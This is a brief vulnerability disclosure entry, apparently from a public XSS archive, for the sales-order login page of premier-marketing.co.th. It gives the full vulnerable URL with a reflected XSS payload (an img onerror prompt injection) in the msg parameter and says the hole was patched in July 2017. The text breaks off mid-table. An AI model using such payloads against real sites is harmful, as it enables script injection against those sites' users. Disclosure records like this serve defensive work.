premier-marketing.co.th XSS vulnerability

Vulnerable URL: http://www.premier-marketing.co.th/salesorder/login.php?msg=RK%3E%3C%3E%3C%3E%3C%3E%3C%3E%3C%3E%3C%3E%3Cimg%20src=x%20onerror=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 18:46 GMT Vulnerability type...